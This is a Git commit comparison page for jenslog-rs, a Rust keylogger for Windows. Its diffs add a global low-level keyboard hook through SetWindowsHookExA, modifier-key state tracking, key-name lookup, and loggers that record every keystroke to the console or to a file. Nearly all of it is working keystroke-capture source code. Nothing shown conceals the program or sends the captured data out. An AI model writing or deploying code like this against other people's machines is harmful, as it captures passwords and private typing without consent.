Compare commits

...

12 commits

Author SHA1 Message Date
deb188aa14 implement FlagOperations for all integers using macro 2020-09-07 22:54:30 +02:00
395cd49d4f small clean ups for flag operations 2020-09-07 00:35:53 +02:00
4bbde71e8e add some abstraction to windows api calls 2020-09-01 16:31:07 +02:00
ee15231a47 KeyState uses flag to determine event type instead of seperate parameter
added is_down method to KeyState
added more tests
add get_flag and has_one_bit_set functions to lib.rs
change main.rs to use is_down instead of w_param for checking event type
2020-09-01 01:18:34 +02:00
dde124e76a add test 2020-09-01 00:38:42 +02:00
c4d86c372a bump version 2020-08-26 16:21:38 +02:00
225df7c08c alt key should work now 2020-08-26 15:29:16 +02:00
b953466376 fix key names once and for all!
hopefully...
2020-08-26 15:18:43 +02:00
8bba874cd6 move some stuff
key names will finally be correct
2020-08-26 14:24:52 +02:00
9e78b067f5 move keystate into own file
configure clippy linter
adjust style to linter settings
2020-08-26 13:51:43 +02:00
8948353106 add KeyState struct
other small improvements
2020-08-26 13:15:01 +02:00
277de089db rename logger module to logging
this prevents the module from having the same name as its parant
and makes the linter happy
2020-08-25 23:44:18 +02:00
10 changed files with 249 additions and 52 deletions

View file

@ -1,6 +1,6 @@
[package]
name = "jenslog-rs"
version = "0.1.0"
version = "0.1.1"
authors = ["LordMZTE <lord@mzte.de>"]
edition = "2018"

40
src/key/Keyhook.rs Normal file
View file

@ -0,0 +1,40 @@
#![macro_use]
use winapi::um::winuser::{HOOKPROC, SetWindowsHookExA, GetMessageW};
use std::ptr::null_mut;
#[macro_export]
//im suprised this works.
macro_rules! hookproc {
($i:expr) => {{
use std::option::Option::Some;
use winapi::um::winuser::PKBDLLHOOKSTRUCT;
unsafe extern "system" fn hookproc(code: i32, w_param: usize, l_param: isize) -> isize {
$i(code, w_param, *(l_param as PKBDLLHOOKSTRUCT));
0
}
Some(hookproc)
}}
}
pub struct Keyhook {
pub callback: HOOKPROC,
}
impl Keyhook {
/// use `hookproc` macro here to get callback from closure
pub fn new(callback: HOOKPROC) -> Self {
Self {
callback,
}
}
pub fn start(&self) {
unsafe {
SetWindowsHookExA(13, self.callback.clone(), null_mut(), 0);
GetMessageW(null_mut(), null_mut(), 0, 0);
}
}
}

95
src/key/keystate.rs Normal file
View file

@ -0,0 +1,95 @@
use std::ffi::OsString;
use winapi::um::winuser::{GetKeyNameTextW, KBDLLHOOKSTRUCT, LLKHF_EXTENDED, LLKHF_UP};
use wio::wide::FromWide;
use crate::FlagOperations;
#[allow(clippy::struct_excessive_bools)]
pub struct KeyState {
pub kbdllstruct: KBDLLHOOKSTRUCT,
pub shift_down: bool,
pub ctrl_down: bool,
pub win_down: bool,
pub alt_down: bool,
}
impl KeyState {
pub fn new() -> Box<Self> {
Box::new(Self {
kbdllstruct: KBDLLHOOKSTRUCT {
vkCode: 0,
scanCode: 0,
flags: 0,
time: 0,
dwExtraInfo: 0,
},
shift_down: false,
ctrl_down: false,
win_down: false,
alt_down: false,
})
}
/// `key_down` if the event was a keydown event, this should be true. if it was keyup it should be false
pub fn update(&mut self, key: KBDLLHOOKSTRUCT) {
let key_down = !key.flags.get_flag(LLKHF_UP);
self.kbdllstruct = key;
match key.vkCode {
160 | 161 => self.shift_down = key_down,
162 | 163 => self.ctrl_down = key_down,
164 | 165 => self.alt_down = key_down,
91 => self.win_down = key_down,
_ => {},
};
}
/// true if the key is an auxiliary key like shift, control or the windows key
pub fn is_aux_key(&self) -> bool {
matches!(self.kbdllstruct.vkCode, 160..=165 | 91)
}
#[no_mangle] //required to not get garbage from native call
pub fn name(&self) -> String {
unsafe {
let flags = if self.kbdllstruct.flags.get_flag(LLKHF_EXTENDED) { 1 << 24 } else { 0 };
let mut out = [0_u16; 128];
GetKeyNameTextW((self.kbdllstruct.scanCode << 16 | flags /*this distinguishes special keys by setting a flag. yes only microsoft thinks that input and flags in 1 param is a good idea*/) as i32, (&mut out).as_mut_ptr(), 128);
let null_pos = out.iter().position(|x| *x == b'\0' as u16).unwrap_or_else(|| out.len());
OsString::from_wide(&out[..null_pos]).to_str().unwrap().to_owned()
}
}
///true if this event is keydown, otherwise false
pub fn is_down(&self) -> bool {
!self.kbdllstruct.flags.get_flag(LLKHF_UP)
}
}
#[cfg(test)]
mod tests {
use crate::key::keystate::KeyState;
use winapi::um::winuser::LLKHF_UP;
#[test]
fn is_aux_key() {
let mut k = KeyState::new();
k.kbdllstruct.vkCode = 160;
assert!(k.is_aux_key());
}
#[test]
fn is_down() {
let mut k = KeyState::new();
k.kbdllstruct.flags = LLKHF_UP;
assert!(!k.is_down());
k.kbdllstruct.flags = 0;
assert!(k.is_down());
}
}

2
src/key/mod.rs Normal file
View file

@ -0,0 +1,2 @@
pub mod keystate;
pub mod keyhook;

View file

@ -1,16 +1,65 @@
use winapi::um::winuser::GetKeyNameTextW;
use std::ffi::OsString;
use wio::wide::FromWide;
//region Clippy config
#![warn(clippy::pedantic)]
//disable silly rules
#![allow(
clippy::module_name_repetitions, //complains about function names which makes no sense, so disabled
clippy::must_use_candidate, //no i dont want to add the must_use attribute to everything
clippy::cast_lossless, clippy::cast_possible_wrap, //lossy casts are required to work with garbage WinApi
)]
//endregion
pub mod logger;
pub mod logging;
pub mod key;
#[no_mangle]
pub fn scan_code_to_key_name(scan_code: u32) -> String {
unsafe {
let mut out = [0u16; 128];
GetKeyNameTextW((scan_code << 16) as i32, (&mut out).as_mut_ptr(), 128);
let null_pos = out.iter().position(|x| *x == b'\0' as u16).unwrap_or_else(|| out.len());
//use to_string_lossy to avoid unicode checks for better performance. if the windows api screws up thats not my fault :P
OsString::from_wide(&out[..null_pos]).to_string_lossy().into()
macro_rules! impl_flag_operations {
($($ty:ty),*) => {
$(
impl FlagOperations for $ty {
fn has_one_bit_set(&self) -> bool {
*self > 0 && *self & (*self - 1) == 0
}
fn get_flag(&self, flag: Self) -> bool {
if flag.has_one_bit_set() {
self & flag != 0
} else {
panic!("flag must have 1 bit set")
}
}
}
)*
};
}
impl_flag_operations!(usize, u8, u16, u32, u64, u128, isize, i8, i16, i32, i64, i128);
trait FlagOperations {
///true if exactly 1 bit of the given number is set
fn has_one_bit_set(&self) -> bool;
///gets the flag at the position of `flag`. `flag` must have exactly 1 bit set
/// `flag` should have 1 bit set at the position of the flag to get
fn get_flag(&self, flag: Self) -> bool;
}
#[cfg(test)]
mod tests {
use crate::FlagOperations;
#[test]
fn get_flag() {
assert!(5.get_flag(1 << 2));
assert!(!3.get_flag(1 << 2));
}
#[test]
#[should_panic]
fn get_flag_panic() {
0.get_flag(3);
}
#[test]
fn has_one_bit_set() {
assert!(1.has_one_bit_set());
assert!(!3.has_one_bit_set());
}
}

View file

@ -1,13 +0,0 @@
use winapi::um::winuser::KBDLLHOOKSTRUCT;
use crate::logger::loggers::{ConsoleLogger, FileLogger};
pub trait Logger: Sync {
fn log(&self, key: &KBDLLHOOKSTRUCT);
}
pub fn get_logger(name: &str) -> Box<dyn Logger> {
match name {
"file" => Box::new(FileLogger::new_default()),
_ => Box::new(ConsoleLogger),
}
}

27
src/logging/logger.rs Normal file
View file

@ -0,0 +1,27 @@
use crate::logging::loggers::{ConsoleLogger, FileLogger};
use crate::key::keystate::KeyState;
pub trait Logger: Sync {
fn log(&self, key: &KeyState);
}
pub fn get_logger(name: &str) -> Box<dyn Logger> {
match name {
"file" => Box::new(FileLogger::new_default()),
_ => Box::new(ConsoleLogger),
}
}
impl dyn Logger {
pub fn default_format(key: &KeyState) -> String {
format!(
"{} >> {}{}{}{} >> {}",
key.kbdllstruct.vkCode,
if key.win_down { "w" } else { "" },
if key.ctrl_down { "c" } else { "" },
if key.shift_down { "s" } else { "" },
if key.alt_down { "a" } else { "" },
key.name()
)
}
}

View file

@ -1,15 +1,14 @@
use crate::logger::logger::Logger;
use winapi::um::winuser::KBDLLHOOKSTRUCT;
use crate::scan_code_to_key_name;
use crate::logging::logger::Logger;
use std::fs::{File, OpenOptions};
use std::io::Write;
use std::path::Path;
use std::sync::Mutex;
use crate::key::keystate::KeyState;
pub struct ConsoleLogger;
impl Logger for ConsoleLogger {
fn log(&self, key: &KBDLLHOOKSTRUCT) {
println!("{} >> {}", key.vkCode, scan_code_to_key_name(key.scanCode));
fn log(&self, key: &KeyState) {
println!("{}", Logger::default_format(key))
}
}
@ -30,7 +29,7 @@ impl FileLogger {
}
impl Logger for FileLogger {
fn log(&self, key: &KBDLLHOOKSTRUCT) {
self.file.lock().unwrap().write_all(format!("{} >> {}\n", key.vkCode, scan_code_to_key_name(key.scanCode)).as_ref()).unwrap();
fn log(&self, key: &KeyState) {
self.file.lock().unwrap().write_all(format!("{}\n", Logger::default_format(key)).as_ref()).unwrap();
}
}

View file

@ -1,29 +1,27 @@
#[macro_use(hookproc)]
extern crate jenslog_rs;
#[macro_use]
extern crate lazy_static;
use std::env::args;
use std::ptr::null_mut;
use std::sync::Mutex;
use winapi::um::winuser::{GetMessageW, PKBDLLHOOKSTRUCT, SetWindowsHookExA};
use jenslog_rs::logger::logger::{get_logger, Logger};
use jenslog_rs::{key::keystate::KeyState, logging::logger::{get_logger, Logger}};
use jenslog_rs::key::keyhook::Keyhook;
lazy_static! {
pub static ref LOGGER: Box<dyn Logger> = get_logger(&args().nth(1).unwrap_or_default());
static ref KEYSTATE: Mutex<Box<KeyState>> = Mutex::new(KeyState::new());
static ref LOGGER: Box<dyn Logger> = get_logger(&args().nth(1).unwrap_or_default());
}
//static mut LOGGER: Box<dyn Logger> = get_logger(args().nth(0).map(|k| k.as_str()));
fn main() {
unsafe {
SetWindowsHookExA(13, Some(hook_callback), null_mut(), 0);
GetMessageW(null_mut(), null_mut(), 0, 0);
}
}
unsafe extern "system" fn hook_callback(_code: i32, w_param: usize, l_param: isize) -> isize {
//Check if keydown
if w_param != 256 { return 0; }
let key = *(l_param as PKBDLLHOOKSTRUCT);
LOGGER.log(&key);
0
let hook = Keyhook::new(hookproc!(|_, _, key| {
let mut state = KEYSTATE.lock().unwrap();
state.update(key);
//Check if keydown and not aux key
if state.is_down() && !state.is_aux_key() {
LOGGER.log(&state);
}
}));
hook.start();
}